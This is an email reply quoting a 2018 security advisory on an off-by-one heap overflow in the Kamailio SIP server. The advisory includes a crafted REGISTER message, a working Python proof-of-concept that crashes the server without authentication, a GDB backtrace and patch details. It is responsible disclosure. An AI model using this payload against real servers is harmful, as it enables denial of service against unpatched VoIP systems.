Unsubscribe

Thanks, Gary
Sent from my iPhone

> On Mar 20, 2018, at 2:23 AM, Sandro Gauci <san...@enablesecurity.com> wrote:
> 
> # Off-by-one heap overflow in Kamailio
> 
> - Authors:
>    - Alfred Farrugia <alf...@enablesecurity.com>
>    - Sandro Gauci <san...@enablesecurity.com>
> - Fixed versions: Kamailio v5.1.2, v5.0.6 and v4.4.7
> - References: no CVE assigned yet
> - Enable Security Advisory: 
> <https://github.com/EnableSecurity/advisories/tree/master/ES2018-05-kamailio-heap-overflow>
> - Tested vulnerable versions: 5.1.1, 5.1.0, 5.0.0
> - Timeline:
>    - Report date: 2018-02-10
>    - Kamailio confirmed issue: 2018-02-10
>    - Kamailio patch: 2018-02-10
>    - Kamailio release with patch: 2018-03-01
>    - Enable Security advisory: 2018-03-19
> 
> ## Description
> 
> A specially crafted REGISTER message with a malformed `branch` or `From tag` 
> triggers an off-by-one heap overflow.
> 
> ## Impact
> 
> Abuse of this vulnerability leads to denial of service in Kamailio. Further 
> research may show that exploitation leads to remote code execution.
> 
> ## How to reproduce the issue
> 
> The following SIP message was used to reproduce the issue with a `From` 
> header containing the `tag` that triggers the vulnerability:
> 
> 
> ```
> REGISTER sip:localhost:5060 SIP/2.0
> Via: SIP/2.0/TCP 
> 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394
> To: <sip:1@localhost:5060>
> From: Test 
> <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg
> Call-ID: 8b113457-c6a6-456a-be68-606686d93c38
> Contact: sip:1@127.0.0.1:53497
> Max-Forwards: 70
> CSeq: 10086 REGISTER
> User-Agent: go SIP fuzzer/1
> Content-Length: 0
> 
> ```
> 
> We used this python script to reproduce the crash:
> 
> ```
> #!/usr/bin/env python
> import socket
> import sys
> 
> PROTO = "udp"
> SERVER_IP = "127.0.0.1"
> SERVER_PORT = 5060
> 
> for _ in range(2):
>    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
>    sock.connect((sys.argv[1], int(sys.argv[2])))
> 
>    msg = "REGISTER sip:localhost:5060 SIP/2.0\r\n" \
>        "Via: SIP/2.0/TCP 
> 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394\r\n" \
>        "To: <sip:1@localhost:5060>\r\n" \
>        "From: Test 
> <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg\r\n"
>  \
>        "Call-ID: 8b113457-c6a6-456a-be68-606686d93c38\r\n" \
>        "Contact: sip:1@127.0.0.1:53497\r\n" \
>        "Max-Forwards: 70\r\n" \
>        "CSeq: 10086 REGISTER\r\n" \
>        "User-Agent: go SIP fuzzer/1\r\n" \
>        "Content-Length: 0\r\n" \
>        "\r\n"
> 
>    sock.sendall(msg)
> ```
> 
> 
> Run using:
> 
> ```
> python crash.py <ip> <port>
> ```
> 
> The expected result is a crash in Kamailio.
> 
> Notes: 
> 
> - authentication is not required
> - SIP extension does not need to exist
> - Message can be sent over TCP or UDP
> 
> ### GDB backtrace result
> 
> Both crashes produce a similar backtrace in GDB:
> 
> ```
> #0  0x00007f08c3f16428 in __GI_raise (sig=sig@entry=6) at 
> ../sysdeps/unix/sysv/linux/raise.c:54
> #1  0x00007f08c3f1802a in __GI_abort () at abort.c:89
> #2  0x0000000000669a6e in qm_debug_frag (qm=0x7f08ba615000, f=0x7f08ba8c70a8, 
> file=0x7f08c0bba514 "tmx: tmx_pretran.c", line=250) at core/mem/q_malloc.c:147
> #3  0x000000000066b49e in qm_malloc (qmp=0x7f08ba615000, size=136, 
> file=0x7f08c0bba514 "tmx: tmx_pretran.c", func=0x7f08c0bbb320 <__func__.7497> 
> "tmx_check_pretran", line=250, mname=0x7f08c0bba510 "tmx") at 
> core/mem/q_malloc.c:380
> #4  0x00000000006758e8 in qm_shm_malloc (qmp=0x7f08ba615000, size=136, 
> file=0x7f08c0bba514 "tmx: tmx_pretran.c", func=0x7f08c0bbb320 <__func__.7497> 
> "tmx_check_pretran", line=250, mname=0x7f08c0bba510 "tmx") at 
> core/mem/q_malloc.c:1206
> #5  0x00007f08c0baf879 in tmx_check_pretran (msg=0x7f08c37a3250) at 
> tmx_pretran.c:250
> #6  0x00007f08c0bac901 in t_precheck_trans (msg=0x7f08c37a3250) at 
> tmx_mod.c:858
> #7  0x00007f08c0bac939 in w_t_precheck_trans (msg=0x7f08c37a3250, p1=0x0, 
> p2=0x0) at tmx_mod.c:869
> #8  0x000000000047b0e4 in do_action (h=0x7fff808ef7e0, a=0x7f08c374e6c0, 
> msg=0x7f08c37a3250) at core/action.c:1067
> #9  0x0000000000487df1 in run_actions (h=0x7fff808ef7e0, a=0x7f08c374e6c0, 
> msg=0x7f08c37a3250) at core/action.c:1565
> #10 0x00000000004884a7 in run_actions_safe (h=0x7fff808f0860, 
> a=0x7f08c374e6c0, msg=0x7f08c37a3250) at core/action.c:1633
> #11 0x0000000000446725 in rval_get_int (h=0x7fff808f0860, msg=0x7f08c37a3250, 
> i=0x7fff808efb44, rv=0x7f08c374e818, cache=0x0) at core/rvalue.c:912
> #12 0x000000000044ae11 in rval_expr_eval_int (h=0x7fff808f0860, 
> msg=0x7f08c37a3250, res=0x7fff808efb44, rve=0x7f08c374e810) at 
> core/rvalue.c:1910
> #13 0x000000000047aba7 in do_action (h=0x7fff808f0860, a=0x7f08c374f3b0, 
> msg=0x7f08c37a3250) at core/action.c:1043
> #14 0x0000000000487df1 in run_actions (h=0x7fff808f0860, a=0x7f08c374f3b0, 
> msg=0x7f08c37a3250) at core/action.c:1565
> #15 0x000000000047b050 in do_action (h=0x7fff808f0860, a=0x7f08c374f650, 
> msg=0x7f08c37a3250) at core/action.c:1058
> #16 0x0000000000487df1 in run_actions (h=0x7fff808f0860, a=0x7f08c374b610, 
> msg=0x7f08c37a3250) at core/action.c:1565
> #17 0x00000000004885b3 in run_top_route (a=0x7f08c374b610, 
> msg=0x7f08c37a3250, c=0x0) at core/action.c:1654
> #18 0x000000000059c7dc in receive_msg (
>    buf=0xa48120 <buf> "REGISTER sip:127.0.0.1:5060 SIP/2.0\r\nVia: 
> SIP/2.0/TCP 
> 127.0.0.1:51315;branch=z340282366920938463463374607431768211455hG4bKecc-65715664045141690323692c170141183460469231731687303715884105859-4b6d-48dc-"...,
>  len=608,
>    rcv_info=0x7fff808f0c20) at core/receive.c:277
> #19 0x00000000004a7b7c in udp_rcv_loop () at core/udp_server.c:554
> #20 0x00000000004232d0 in main_loop () at main.c:1626
> #21 0x000000000042a97a in main (argc=7, argv=0x7fff808f12d8) at main.c:2646
> (gdb)
> ```
> 
> This security issue was discovered through the use of simple fuzzing with 
> [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.
> 
> ## Solutions and recommendations
> 
> Apply the patch at 
> <https://github.com/kamailio/kamailio/commit/e1d8008a09d9390ebaf698abe8909e10dfec4097>
>  or make use of a release that includes that patch (e.g. v5.1.2, v5.0.6 or 
> v4.4.7).
> 
> Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio 
> Project for the very quick response and fix within hours of our report.
> 
> ## About Enable Security
> 
> [Enable Security](https://www.enablesecurity.com) provides Information 
> Security services, including Penetration Testing, Research and Development, 
> to help protect client networks and applications against online attackers.
> 
> ## Disclaimer
> 
> The information in the advisory is believed to be accurate at the time of 
> publishing based on currently available information. Use of the information 
> constitutes acceptance for use in an AS IS condition. There are no warranties 
> with regard to this information. Neither the author nor the publisher accepts 
> any liability for any direct, indirect, or consequential loss or damage 
> arising from use of, or reliance on, this information.

Reply via email to